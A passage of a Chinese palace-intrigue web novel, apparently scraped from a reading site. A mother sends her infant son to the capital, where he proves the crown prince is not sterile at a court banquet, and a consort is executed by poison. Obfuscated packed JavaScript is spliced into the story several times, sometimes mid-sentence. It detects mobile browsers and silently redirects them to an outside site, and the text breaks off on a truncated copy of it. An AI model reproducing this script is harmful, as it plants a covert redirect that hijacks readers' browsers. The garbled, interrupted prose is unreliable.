崔朝雪醒时,已是第二日傍晚。 丫头们已为其擦拭身体,并帮其换上了干净的衣裳。 见她醒来,竹雪小心扶起她,知晴递上补气血的汤。 “夫人睡了一天,快喝碗汤补补身子。” 她这番,算是从鬼门关前走了一遭。 她喝了一口汤,缓声问道:“孩子如何了?” 竹雪:“秦叔按照您的吩咐,只对外宣称您喜得千金。有乳母照料,少爷和小姐健康可爱,特别讨人喜欢。” “苏子实和卫婕楚呢?” “他们已被当场斩杀。“ 她睡了一天,所有事情都尘埃落定。 她轻轻咬唇,“那,是谁提前通知了太子殿下吗?” 太子来得恰是时候,若是无人通知,只怕很难做到。 竹雪和知晴同时摇头,几乎异口同声 “奴婢们不知。” “阿姹在吗?” 阿姹从外头进来,“夫人,奴婢在。” 崔朝雪倚靠着引枕,慢慢喝了口汤,“是不是你们通知的殿下?” 她没有通知,府里的丫头小厮接触不到殿下。能递出消息的,唯有太子曾经的侍从。 阿姹跪下来,“回夫人,是的。殿下派奴婢来侯府之时便吩咐过,侯府若有事发生,一定要禀报。奴婢未经夫人准许便擅自禀报太子殿下,还请夫人责罚。” “难怪。”崔朝雪不知不觉喝完一碗汤,把空碗递给知晴,“我那会儿就想,怎么会那么巧。”她淡声吩咐,“快起来吧。我哪里能怪你。若不是你们早早禀报太子殿下,我现在只怕已成了一具尸骨。” “这侯府似一口大的陷阱,只给人痛苦,却难以给人幸福。”崔朝雪轻叹了口气,“吩咐下去,三日后回隆县。” 她想回家了。 这次,没有任何人反对。 秦叔举双手赞成。 “夫人的决定是对的,京城乃是非之地。莫不如带着少爷和小姐回隆县,过安安稳稳的生活。” 三日后,崔朝雪带着一众奴仆离开了侯府。 临走前,只是派人知会了谢宛宛一声。 在此前的三年时间里,谢宛宛并没有善待姐姐。 她不需要对她付出太多善意。 考虑到崔朝雪的身体情况和两个孩子的适应状态,马车速度很慢,行进了四五天才抵达隆县。 一行人浩浩荡荡回了崔宅。 父母离世,生意多少会受到影响,但有秦叔主持大局,各家商铺的运转还算正常。 出了月子之后,在秦叔的帮助下,崔朝雪将姐姐的遗体迁回隆县,和爹娘葬在一处。 她带着一双儿女去上坟。 她跪到墓前:“爹、娘,姐姐,你们安息吧。我已经为姐姐报了仇。我并不孤单,我有了一双儿女。我们会好好活下去。” 儿子和女儿被乳娘抱在怀里,格外安静,不哭也不闹,眼睛骨碌碌乱转。 乖巧得很。 被派去宫里传信的阿姹回来了。 同时带回的,是太子殿下为两个孩子赐下的名字。 “太子殿下说,男孩儿便单名一个安字,希望他平安顺遂。女孩儿叫子星,希望她像星星一般闪耀明媚。” “安儿,子星。”崔朝雪淡淡重复这两个名字,“甚好。” “我还要再拜托阿姹一件事。” “夫人请吩咐。” “你既是太子殿下身边的人,必也知道如何能快速联系到宫里。隆县离着皇宫距离遥远,太子殿下于我有大恩,我希望知道殿下平安的消息。若是太子有事,我们崔家自当尽心竭力。” 她的想法永远不会改变。 太子庇护了她一时,她要回报他一世。 “奴婢明白,奴婢这就去安排。太子府里有何隐忧之事,必会第一时间禀报夫人。” “那我便放心了。” 崔朝雪并不好奇皇宫深菀的事情,她好奇的,不过是太子有何烦忧罢了。 日子平静如水。 安儿和子星一天天长大。 三翻六坐七滚八爬。 一年多过去,他们已经在偌大的崔宅里你追我赶,清脆的笑声几乎传遍每个角落。 崔朝雪看着这一幕。 欣慰不已。 曾经她想要的,便是这样的生活吧。 如今愿望实现,虽感欣慰,可也有诸多的遗憾。 如果爹娘和姐姐健在,该有多好。 她已经一年多没见过太子殿下。 但有关太子的消息却源源不断地传来。 荣贵妃几经沉浮,去过冷宫,被贬,之后又再度复宠。 皇后坚定地站在太子身后,无论何时给予最大支持。 皇上信任太子,将多半朝政之事放心交于他手中。 太子协理朝政,清正廉明,收获民心无数。 可意外总是在不经意间发生。 这日,阿姹收到一封飞鸽传书。 她匆忙赶去禀报。 “夫人,太子那边,可能要出事了。” 崔朝雪正在逗两个孩子玩耍,闻言止了手中动作,慢慢直起身子,让下人把孩子带走。 她表情严肃地问:“发生何事了?” “太子殿下这两年一直在寻找一名女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149521|148433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,虽苦寻未果,但一直未曾放弃。荣贵妃一派不知怎么打听了去。她们抓了太医的家人相威胁,竟得知太子殿下于两年前患了隐疾。” “隐疾?” “是,隐疾。”阿姹有些难以启齿,“确切地说,是殿下被人下了绝嗣药,此生恐难有子嗣。此事已经在宫里悄悄传扬开来。恐对太子之位有所威胁。” 崔朝雪心里咯噔一声。 怕什么来什么。 她问:“太子怎么样了?” “信里说,太子最近心神不宁,难以安寝。” 想想也是,绝嗣事情一旦爆发,太子纵有通天本领,也无济于事。 挥退阿姹,崔朝雪第一时间将秦叔叫了来。 整桩事件中,除了她自己之外,只有秦叔知晓内情。竹雪和知晴顶多是一知半解。 她们见太子的次数屈指可数,每次见,连头也不敢抬。 根本没看仔细太子的模样。 秦叔听罢,拧眉沉思。 半晌,他叹息道:“有夫人的吩咐,到现在为止,除了咱们府里的人,外人也只知咱们崔府有子星一位小姐,却不知安儿这位少爷的存在。想来,是安儿离开崔府的时候了。” “虽荣家已经败落,但荣贵妃手中还有胥轩。只要她在皇上面前提起绝嗣一事,皇上必得给出交待。太子殿下到现在未曾娶亲,本就招大臣们不满,一旦得知绝嗣之事,前后一关联,基本就会信了。皇上纵然想护着太子,也不得不当众让太医们给太子诊脉。” “只要一诊脉,绝嗣之事便会人尽皆知。太子再有满腹才华,也不得不让出太子之位。” 对太子来说,绝嗣一事等同于灭顶之灾。 “当年大祸是我闯下的,现在太子有难,我难辞其咎。可能冥冥之中,上天自有安排。否则,怎会赐我一子一女?安儿是上天派来拯救他父亲的。” “是啊,若夫人生的都是女儿,饶是想要帮太子,也无能为力。幸好有安儿,可以帮太子换得一丝转机。” 崔朝雪,“既然主意已下,秦叔可否帮忙安排,让安儿进京吧。” 秦叔深表赞同,“太子绝嗣一事既已在宫中传扬开来,想必荣贵妃很快便会出手,我们得尽快将安儿送去,好在关键时刻助太子一臂之力。” 说做就做,当晚,崔朝雪屏退众人,拉着安儿的小手来到床前。 安儿歪着脑袋看自己的娘亲,小脸娇嫩可爱。 他声音软糯地喊了声:“娘。” 她自枕下取出一张画,轻轻展开:“安儿,你瞧瞧这上头画得是谁?” 胥宸的画像跃张纸上。 栩栩如生。 安儿眉眼绽开,声音清晰地喊道:“爹,爹!” 安儿开口晚,子星已经会说好多,可安儿到现在只会“娘”和“爹爹”这两句。 崔朝雪轻轻摸了摸安儿的脑袋:“安儿想见爹爹吗?” 安儿眨巴眨巴眼睛,慢慢点了下头。 崔朝雪眼角含泪:“好,娘这就让安儿去见爹爹!” 哄睡安儿之后,秦叔便来带着他离开。 崔朝雪在门口目送他们的马车消失在夜色当中。 一转头,泪水满面。 孩子是母亲的心头肉。 安儿刚满一岁,正是淘气可爱的时候。 她舍不得他离开。 可也不得不让他离开。 27. 第 27 章 早上,崔朝雪刚醒,竹雪和知晴便迫不及待地闯了进来。 太急躁了,两人失了往日的礼节,未行敲门,直接闯进了崔朝雪的寝房。 崔朝雪瞪着两人:“又怎么了?” 相处日久,她早把身边的丫头都当成了亲人。 竹雪焦虑万分的跪到她跟前:“夫人,少爷和乳娘都不见了。” 知晴:“子星小姐找不见兄长,正在哭。” 从出生起,安儿和子星便秤不离砣,砣不离秤的,天天待在一起。 两个小家伙可可爱爱的,谁见了都喜欢。 竹雪和知晴得了空便去瞧。 光是瞧着便心生欢喜。 今儿一大早,竹雪兴致盎然地跑去。结果只见到了哭哭啼啼的子星小姐,安儿少爷和他的乳娘则不见踪影。 打听一圈下来,宅子里的人都不知情。 她便和知晴跑来向夫人一探究竟。 崔朝雪坐到梳妆台前,轻轻梳理自己一头黑长的头发。 “都别急,安儿跟着秦叔出远门了。” “跟着秦叔出远门了?” 竹雪嘴巴张得能装一个鸡蛋。 “少爷那么小,能,能出远门吗?” “秦叔那边自有妥当的安排,你们放心便是。”崔朝雪本来就记挂孩子,竹雪这么一说,她心里也不太好受。 但又不想说太多。 竹雪和知晴自然知道自家小姐的性子。 既是这么说,便有必须这样做的理由。 她们便不好再问。 乖乖退了下去。 子星是小孩子,哭闹过后也就适应了。 崔朝雪肉眼可见地瘦了下去。 她每天都是一副心事重重的样子。 经常会向着京城的方向出神。 私下里,竹雪悄悄将阿紫拉到一旁,小声打听:“阿姹姐姐呢?” 阿紫欲言又止的。 竹雪眉头上挑,“跟秦叔一起走了吧?” 阿紫点头。 竹雪拍拍胸口:“我猜着也是。” 阿紫瞅眼四周,语气神神秘秘的,“竹雪姑娘慎言。” 竹雪虽有些事情模模糊糊的,但前后一联系,也能猜出个大概。 她努努嘴,“阿紫姐姐放心吧,我知道轻重。” 秦叔那边赶到京城后,便在一处隐秘的院子安顿下来。 安儿不太习惯离开隆县,但有熟悉的乳娘和秦叔。 他还算适应。 阿姹一到京城便进了宫。 在东宫外头等了许久才见到安成。 她低声道:“安公公,崔夫人差人侯在外头,有至关重要的大事要禀报,请您出宫一趟。” 安成忧心忡忡的,“宫里最近有极重要的事情,我腾不出空儿。”他递出去一块腰牌,“你让人进宫吧。” 阿姹听命离开。 安成表情严肃地回到书房门口。 梁将军正和太子胥宸商议要事。 “殿下,臣已布防好,明日,只消您一声令下,臣等便会依计行事。” 胥宸面无表情地点头:“兹事体大,梁将军千万小心。” 梁将军信誓旦旦:“臣承蒙殿下恩惠,无论做什么,皆万死不辞。” 近日,临国进贡了一棵莞香树,香气独特。皇上将其赏给了荣贵妃。荣贵妃以此为名,向皇上请求邀请群臣来共赏。 一棵树而已,再珍贵又能如何? 真是到不了群臣共赏的地步。 可皇上宠她。 便也就由着她了。 外人不知道其中机关。 但胥宸心里却非常明白。 明日之宴,定会是腥风血雨的。 荣贵妃势必会找来许多太医,当众为自己诊脉。只要确定自己患了绝嗣之症。那自己这太子之位便保不住了。 毕竟,能够继承江山的不止他一个。 他不能有后嗣,便不能将这江山延绵下去。便只能将守护江山的重责交付他人。 可他甘心吗? 肯定不甘心。 而他守护自己位置的唯一方法便是。 宫变。 得在事实出来之前,将江山牢牢握到自己手中。 梁将军是他急召回来的。 另外带回的,还有十几万兵马。 不出意外的话,明日,胥宸会登基称帝。 安成所谓的重要之事便是此事。 他家主子要宫变的关键时刻,他怎么可能出宫去见秦叔? 秦叔再重要,能重过太子称帝? 为防意外,他让阿姹直接把人带进宫。 翌日早上,荣贵妃盛装打扮,宫人都能瞧出她心情极好。 她信心满满,只等着享受胜利的战果。 大臣们陆续赶来。 莞香树被摆在大殿中央。 枝叶繁茂,香气弥漫。 大臣们都在交头接耳。 “听闻这树有药用价值。” “如此高大的树,要安全运来,实属不易。” “这都是梁将军的功劳,否则,临国怎会如此卑躬屈膝?” “今日大费周折聚集众臣,就只是为了欣赏一棵树?” “总觉得会发生些什么。” “你是否也有所耳闻?” “隐约有之。” “如果是事实,待要如何?” “太子殿下英明神勇,我相信,传言为假。” “就是就是,不可道听途说。” 随着太监高亢的一声:“皇上驾到!” 众臣皆匍匐在地。 “吾皇万岁,万岁,万万岁!” “众臣平身。” 皇上高居上首,皇后与荣贵妃分居两侧。 太子胥宸则同群臣一起,在下面坐着。 荣贵妃眼神似有若无地扫过他。 一副胜利者的姿态。 胥宸不卑不亢,神色极为平静。 群臣共欢之后,荣贵妃起身,慢慢来到大殿中央。 她缓缓说道:“皇上,莞香树有药用价值,有行气镇痛、温中止呕之功效,还可以纳气平喘、暖肾,可以治疗气逆胸满、喘急心绞痛等症。” 皇上颔首:“功效如此之多,的确是不可多得的好树。” “皇上有所不知,莞香树还可治疗一症。” 皇上好奇:“说来听听。” 荣贵妃刻意看了旁侧的胥宸一眼,一字一顿地说道:“莞香树还可以治疗男子精冷之症。” 皇上愣了下,表情似有不悦。 男子精冷这种私秘的病症岂可以当众说出来? 荣贵妃急忙跪下,“臣妾失仪,请皇上责罚。”她抬首,泪盈于睫,“臣妾方才一心只想着太子殿下的病症,一时失言,望皇上恕罪。” 将男子精冷这种私密的事情宣之于口的确不妥,可听她提起胥宸,皇上不由肃了表情: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162268|148433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “此事与太子有何关系?” 荣贵妃抿抿唇,似是难以启齿般,停了好一会儿,才慢慢说道:“臣妾听太医提起,太子殿下患了绝嗣之症。臣妾替他忧心,才一时失言。” “绝嗣之症?” 群臣顿时炸了锅。 “天哪,太子绝嗣竟是真事?” “这可如何是好?” “若是不能传续子嗣,这,这……” “殿下英勇神武,怎么会患上此症?” “就是啊,一点儿也看不出来。” “一派胡言,绝嗣岂是用眼能看出来的病症?” “殿下一直不娶亲,是不是就是这个原因?” “是啊,殿下已二十有二,却一直拒绝婚配。” “殿下不是说,想找最适合的太子妃人选吗?” “世上女子成千上万,难道殿下还挑不出心仪之太子妃?” “定然是因为绝嗣之事。” 众臣议论之声不绝于耳,皇上脸色黑沉下来。 他是第一次听说此事。 他信任胥宸,一直将胥宸当作未来的天子培养。 现在大半的政事也是胥宸在处理。 若是胥宸真患上了绝嗣之症? 还真是难办。 皇上重重拍了下桌案。 “胡闹,简直是胡闹。” 荣贵妃膝行几步,“皇上,臣妾所言句句属实。太子殿下一直不曾娶亲,怕是受此事影响。皇上不信的话,可以召太医来给太子诊脉,万不可讳疾忌医啊。” 她一副拼死进谏的架式。 大臣们又在底下议论纷纷。 这种情形,不是一句话便可以揭过的。 皇上看向胥宸:“你,怎么说?” 胥宸不慌不忙站出来,在荣贵妃旁边跪下,掷地有声:“回禀父皇,儿臣身体无恙。” 荣贵妃睨他一眼。 认为他不过是垂死挣扎罢了。 人都是这样,不到最后一刻,不想认输。 她赶紧露出一副关切的表情,“既如此,那是再好不过的。可本宫听不少太医都提起过,说太子患上了绝嗣之症。他们疯言疯语的,属实影响太子。择日不如撞日,莫不如趁今日臣子们都在场,让皇上多召几个太医过来,当众为太子诊脉,以证清白。” 你不是说你没病吗,那就让太医诊脉啊。 多召几个太医来,谁都没空作弊。 事实就是事实。 逃避不了的。 有臣子站出来。 “皇上,臣最近也听闻此事,荣贵妃说得是,太子身体若是无恙,让太医当众诊脉,还太子清白,平息谣言。” 不断有臣子站出来。 “臣附议。” “臣附议。” 打头的几个臣子是被荣贵妃提早收买的。 后头那些,则是闹哄哄中,从众而已。 事已至此,皇上也有些束手无策。 他还是把麻烦丢给了胥宸。 “太子,你说呢?” 胥宸眸色寒凉,“那便如了荣贵妃的愿吧。” 荣贵妃嘴角不自觉翘起。 一切事情皆朝着她预料中发展。 她马上要心想事成了。 只要胥宸同意诊脉,事情便成功了一大半。 荣贵妃不介意他语气中透出的冰冷之意,反正待会胜负自会见分晓。 皇上无可奈何:“宣太医。” 28. 第 28 章 太医们很快便来了。 十几名之多。 战战兢兢来到大殿中央。 一个个噤若寒蝉的。 今天这差事,可不是什么好差事。 止不定是要掉脑袋的。 两名太监抬来了一张方桌,置于莞香树旁边,又搬来一张椅子,请胥宸就座。 荣贵妃兴奋,期待,舍不得回上首坐着。 她表情殷切地站在莞香树旁,一心等着结果。 坐在上头的胥轩不知何时也慢慢挪蹭到母妃旁边。 他知道母亲要做什么。 也知道母亲成事之后,自己将会面临什么。 他有一丝丝地期盼。 太医们面向皇上,站成两排。 一个个诚惶诚恐的。 胥宸没有马上就座,冷厉的眼神淡淡从他们每一张脸上扫过。 荣贵妃等不及了,催促道:“太子,既然太医们已经来了,是不是可以开始了?” 胥宸扫过众人之后,回转身,向着皇上的方向:“父皇,儿臣有个不情之请。” 荣贵妃恐生意外,讪笑着说道:“太子,有什么事,等诊脉结束再讲也不迟。" 早诊完了,早放心。 皇上此时的心已经提到了嗓子眼。 他不愿相信荣贵妃之言。 可是万一呢? 他该当如何? 江山社稷又该如何? 胥轩虽然尚小,可性情已经显露出来。急功近利、好高骛远、偎慵堕懒,不堪大任。 皇上面色犹疑,“说吧。” 他想听听儿子有何说法,能不能给自己和臣子们一个满意的答案。 “父皇,儿臣身体康健,却突然要遭受此种无妄之灾,且严重到要当众接受诊脉的程度。儿臣委屈。所以在儿臣接受诊脉之前,儿臣希望父皇可以答应儿臣一个请求。” 胥宸声音洪亮有力:“若儿臣无绝嗣之症,请父皇赐死荣贵妃。” 太子话落,所有人都惊呆了。 皇上表情错愕。 臣子们更是大吃一惊。 诊脉一事竟然能关联到荣贵妃的生死? 胥轩脸色唰地变白。 小小年纪,受不得惊吓。 荣贵妃满含期待的面容,刹那间笼上一层冷瑟。 她怒目相向:“太子,你知道你说的是什么吗?” 胥宸寸步不让,“自然是知道。”他冷冷瞥她一眼,“荣贵妃提出当众诊脉之请求时,可曾顾忌过儿臣半分颜面?” 他将来是要继承大统的人。 却要在这么多大臣面前,让太医诊断自己是否有绵延子嗣的能力。 能不感到屈辱吗? 令他受辱之人必得受到付出相应代价。 “可,可这也不至于要置我于死地的地步吧?” 太子冷冷道:“荣贵妃这是何意?你刚才不是言辞凿凿,孤已经患上了绝嗣之症吗?孤自己的身体,难道还不如你清楚?你一介妃子,竟然知道孤能否绵延子嗣?孤都不知道的事情,你是如何知晓的?” “谣言来自哪里?难道不是出自荣贵妃之手?荣贵妃几天前与太医院的人频繁联系,难道不是在造谣生事?子虚乌有的事情,传得有眉有眼。” “孤可以确定,你是在造谣。既然是造谣,你就得付出代价。若是诊断出孤有绝嗣症,孤坦然接受。父皇有何惩罚,孤认。但是,若诊脉结果,孤无事。那荣贵妃便要为此付出代价。” 胥宸再次看向皇上,“父皇,您觉得呢?” 一个是自己宠爱的妃子,一个是自己器重的儿子。 皇上左右为难。 一直安坐一旁的皇后,柔柔开了口:“皇上,臣妾认为太子说得对。连臣子们都听说了太子患有绝嗣之症,可见此事传扬甚广。肯定是有心人故意为之。若真是谣言,实属臣妾管束后宫不力。因此,臣妾认为,莫不如允了太子的要求。如此,可以引以为戒,以正视听。” 她意思很明白,荣贵妃主动站出来,说明谣言与她脱不了干系。谣传范围如此之广,不惩戒说不过去。 谣言本尊说了,以命相抵。 那就得以命相抵。 荣贵妃气极,“皇后,为句谣言,竟然想要了臣妾的命?” “你也说了,是谣言?”皇后抓住她话中漏洞,对皇上说道,“皇上,荣贵妃自己都承认是谣言,岂能纵容?做了事情是要付出代价的。太子是将来要继承大统的人,不可任人恶意揣测。” 荣贵妃跺脚:“皇上,不是谣言,太子绝嗣,是千真万确的。” 皇后表情冷冷的,“既然千真万确,你又有什么可惧怕的?” 皇上被说动了,他劝道:“荣贵妃,你既然确认是事实,答应也无妨。” 是真的便无事,只有确定是谣言才会要了她的命。 荣贵妃又气又急的。 她有绝对把握,可心里也担心。 万一中间出现点儿闪失,她以命相搏,风险太大。 她犹犹豫豫:“可皇上……” 皇上一锤定音:“如此,朕便允了太子的要求。” 胥宸淡淡转身,“各位太医可是听好了,孤不管你们来之前受到何人指使或者挑唆,现在,当着皇上和所有大臣的面,一定要据实以告。但凡有造假者,”他顿了下,声音冷沉寒凉,“一,律,诛,杀!” 太子的警告震耳欲聋。 直击心肺。 太医们不约而同哆嗦了下。 仿佛有刀架到了脖子上。 一旦有风吹草动。 便会命丧当场。 太子面对着太医们,缓缓坐下,右手搭到桌案上。 “谁,第一个诊脉?” 胥宸表情太过冷瑟,太医们你推我我推你,都吓得不敢上前。 这差事相当棘手。 实话实说,可能被太子索命。 万一被皇上查明讲了假话,也是死罪。 左右都不落好。 赵太医颤颤微微先出了列。 胥宸横眉冷对。 赵太医躬着身子,食指轻轻搭到胥宸的腕上。 他是荣贵妃一派的。 为了荣贵妃,他拼死站了出来。 第一个诊脉,难,但也有优势。只要他给后面人指明了方向,后头人便会出现从众行为,依言行事。 荣贵妃露出志得意满的表情。 她知道,事情马上要成功了。 赵太医一定会给出正确的结果。后面的太医想造假便不是那么容易。 肯定会跟着说真话。 这种关系到皇家子嗣的大事,只一个太医诊脉,唯恐出现偏颇。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173078|148433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>多召几个太医来的目的,就是保证结果绝对的准确。 赵太医诊完,恭敬后退一步。 所有人都看向他。 静等着他给出第一个结果。 太医院的人多是些老手。 技术精湛。 单拿出哪一个太医,诊脉结果应该都会八九不离十。 所以,不出意外的话,赵太医的结果,基本就是最终的结果了。 其余太医的诊脉,算是个验证罢了。 荣贵妃眼睛放光,欣喜而期待。 胥宸面容冷瑟,左手捏住桌案上的杯盏,右手食指微微屈起。 眼睛望向大殿出口的方向。 他之所以背对着皇上,面朝向众臣。为的便是看清殿门处的动静。 安成站在殿门口,对上他的眼神,微不可察地轻点了下头。 胥宸知道。 万事俱备,只欠东风。 他袖子里藏有锋利的尖刀。 砸碎杯子是信号。 他不能容许赵太医说出他绝嗣之事。 他得在他开口之前起事。 他表情紧迫地盯着赵太医的嘴巴,准备在他张口之际。 用尖刀刺死他。 梁将军听闻杯盏碎裂的声音,接着便会冲进来。 其乐融融的大殿会陷入刀光剑影当中。 人们对于赵太医的诊脉结论都充满好奇。 大殿内安静如斯,落针可闻。 千钧一发之际。 一声童稚的声音很突兀地响了起来。 “爹爹!” 人们在紧张莫名中,纷纷看向那声音的来源。 一抹小小的影子,跌跌撞撞奔向胥宸。 大殿很大。 从殿门口到胥宸跟前,安儿跑了好久。 所有人于安静中看着他一步一步地奔跑过来。 想要说结果的赵太医也不由愣住。 不知道突然多出来的孩童,在管谁叫“爹爹”。 无人阻拦,安儿畅通无阻地跑到胥宸面前,他绕过桌子,伸出软软的两条小胳膊,冲着面色冷凝的胥宸,再次喊了声爹爹。 众人惊呆了。 荣贵妃露出惊异的表情,“这,这什么情况?” 皇上也忍不住好奇,发问:“太子,这娃娃是你的孩子?” 皇后:“这孩子的长相,倒是跟太子小时候一模一样呢。” 听闻皇后的话,大臣们也议论开了。 “确实,这孩子跟太子如同一个模子刻出来的。” “孩子认识太子,一进来便管太子叫爹爹,那一定是太子的孩子。” “不是说太子绝嗣吗?可是,太子明明有孩子了啊。” “真假还不知,你们就别妄下定论了。” 胥宸表情没什么变化,可黑瞳里却是惊诧莫名的。 见他不抱自己,安儿扁起嘴巴,欲哭不哭的。 落空了的两只小手拽住了胥宸的衣袖。 声音委屈巴巴的唤了声:“爹爹!” 两只大大的眼睛里已经开始蓄泪,似乎下一瞬便要哭将出来。 梁将军由远及近,离着胥宸几步,噗通跪下,声音响彻整个大殿。 “皇上,臣在边关听闻太子绝嗣之谣传,便快马加鞭,将小皇孙送回,为太子殿下正名。” 29. 第 29 章 此言一出,全场哗然。 “难怪呢,一看就是父子两个,太子殿下和小皇孙,几乎是一模一样。” “小皇孙约摸一岁多的样子,只是不知道他的母亲?” “既如此,诊脉还需继续吗?” “这都不用诊,孩子便是最好的证明。” 眼看就要成功了,却半路杀出个孩子。 荣贵妃难以置信,尖声嚷道:“请梁将军慎言。你在外征战一年多,如何确定这孩子是太子殿下的?” 她不信。 绝对不信。 定是太子在民间寻了个长相相似的孩子,用来糊弄皇上的。 梁将军露出讥讽的表情,“荣贵妃慎言才是,臣既说他是,那他一定就是。” “若不是呢?” “荣贵妃这是何意?” 荣贵妃转头:“皇上,皇嗣岂容混淆?此前从未听说太子有何心仪之人,却忽然多出一个孩子。怎能不令人生疑?为令众人信服,必得滴血验亲。” 赵太医张口结舌的,半天没吐出一个字。 本该是他说出诊断结果,却变成无人搭理他了。 所有人的注意力都被这个孩童给引了去。 孩子若真是太子的。 绝不绝嗣便变得无足轻重。 有了现成的子嗣,谁还在意以后? 换句话说,既能生出一子,以后就会有希望生出第二子第三子。 皇上盯着可爱粉嫩的娃娃,难掩心中欢喜。 他身子孱弱,时常会觉得命不久矣。 突然看到朝气蓬勃的孩子,似乎看到了某种希望。 臣子们纷纷认为荣贵妃说得对。 “皇嗣不容混淆,滴血验亲是对的。” “避免以后有人诟病小皇孙的身份。” “的确的确。” 皇上见状,吩咐下去:“于公公,准备一碗水。” 他也想知晓这孩子究竟是不是太子的。 若是,于皇宫来说,这无疑于一件莫大的喜事。 于公公下去准备了一碗清水,很快端了上来。 放置于胥宸跟前的桌子上。 胥宸心里没底,但面上不显。 他淡淡看了眼梁将军。 后者给了他一个坚毅的眼神。 他便缓缓垂头,用针刺了下自己的右手食指,一滴鲜红的血滴入碗里。 随后,他终于抱起那个眼巴巴等着他抱的孩子。 捏住他的拇指,快速刺了下。 血往碗里滴落时,清脆的啼哭声也随之响起。 大颗大颗的泪珠自安儿的眼眶里滚落下来。 他咧开嘴巴,哇哇大哭。 抱着他的胥宸顿时手足无措。 抬起掌,想吓唬他,又无从下手。 落到安儿肩头,变成轻柔的抚摸。 也怪,他轻抚安儿后背之后,安儿竟然不哭了,脸上挂着泪,乖巧地趴到了他的肩头。 胥宸冷硬的表情,出现了一丝丝缝隙。 他就那样抱着安儿,垂眸看向碗里。 清澈的水中,两滴鲜血缓缓靠近,继而融合到一起。 赵太医露出惊悚的表情。 荣贵妃身子晃了两下,软绵绵地歪倒在地。 胥轩看傻了,连娘亲倒了都忘了去扶。 胥宸眸色不明,只盯着那融合到一处的血。 似乎陷入到某种回忆当中。 梁将军则如释重负,拱手道:“小皇孙身份确定!恭喜皇上,贺喜皇上!” 众臣听闻,纷纷跪倒。 “恭喜皇上,喜得皇孙。” “贺喜皇上,喜得皇孙。” 震耳欲聋的声音中,无人再提及诊脉一事。 也无人再关心诊脉的结果。 大家都对安儿的到来感到欣喜与祝福。 皇后喜不自胜,直接从上面走了下来,自胥宸怀中接过安儿,“本宫竟有孙儿了,这真是天大的喜事。” 她摩挲着安儿粉嫩的小手,“这孩子,真是伶俐可爱。快,把那对新打制的金手镯拿来,对,还有银锁……” 宫女忙不迭地去取。 皇上颔首,“是得给朕的小皇孙准备点儿见面礼。” 金盆、玉器、金银钱等等。 一堆堆赏赐下来。 在臣子们艳羡的眼神中,小小的安儿成了大大的富翁。 胥宸回身,缓缓跪下:“父皇,儿臣身体康健一事,不言自明,是不是到了兑现承诺的时候?” 他眼神似有若无地扫向还瘫在地上的荣贵妃。 他没打算放过她。 荣贵妃有气无力,“赵,赵太医,还没说结果呢!” 她将自己的一线生机系在赵太医的身上。 胥宸面色冷硬,“既如此,赵太医,快说说你的诊脉结果吧!” 梁将军狠狠瞪了赵太医一眼,语带威胁:“说!” 赵太医颤微两下,心不甘情不愿地吐出四个字:“太子无恙。” 小皇孙都送到皇上跟前了,皆大欢喜的时候,他还怎么说出太子绝嗣一事? 即便是说了,恐怕也动摇不了太子之位。 关键时刻,赵太医选择了保命。 皇上陷在有小皇孙的喜悦当中,早就不关注太子绝嗣一事,闻言,他端起面前酒杯慢慢饮下,“那便赐死荣贵妃。”他摇摇晃晃地起身,“喜事啊,大喜事,大喜事……” 似乎赐死荣贵妃也是喜事一桩。 皇后将安儿递还太子,上前,扶着皇上回去歇息。 皇上身子孱弱,能坐如此久的时间已属不易。 回去后,又得沉睡一段时间。 荣贵妃脸色灰败,安成端着早就准备好的毒酒上前,“荣贵妃,便在莞香树前,上路吧。” 世事难料。 温馨祥和的赏树宴,变成了荣贵妃的送行宴。 安成说罢,向旁边小太监递了个眼色。 两个小太监上前摁住荣贵妃,安成则将毒酒递到她的唇边,强行灌了下去。 胥宸捂住安儿的眼睛,淡声吩咐:“都,退下吧。” 退下去的,不光是各位大臣,还在候在外头伺机而动的将士们。 皇上病重,无暇顾及。 胥宸准备宫变一事毫无声息地压了下去。 大殿门口的秦叔,这会儿腿软脚软,弯着腰躬着身子就打算趁乱遁走。 安成一把将人给拉住。 “秦先生,这是要去哪里啊?” 秦叔尴尬地转身,“安公公,老朽的任务已经完成,”他指指外面,“是不是可以离开了?” 安公公笑眯了眼,“你立大功一件,怎可能不见太子就走?” 秦叔表情沮丧。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 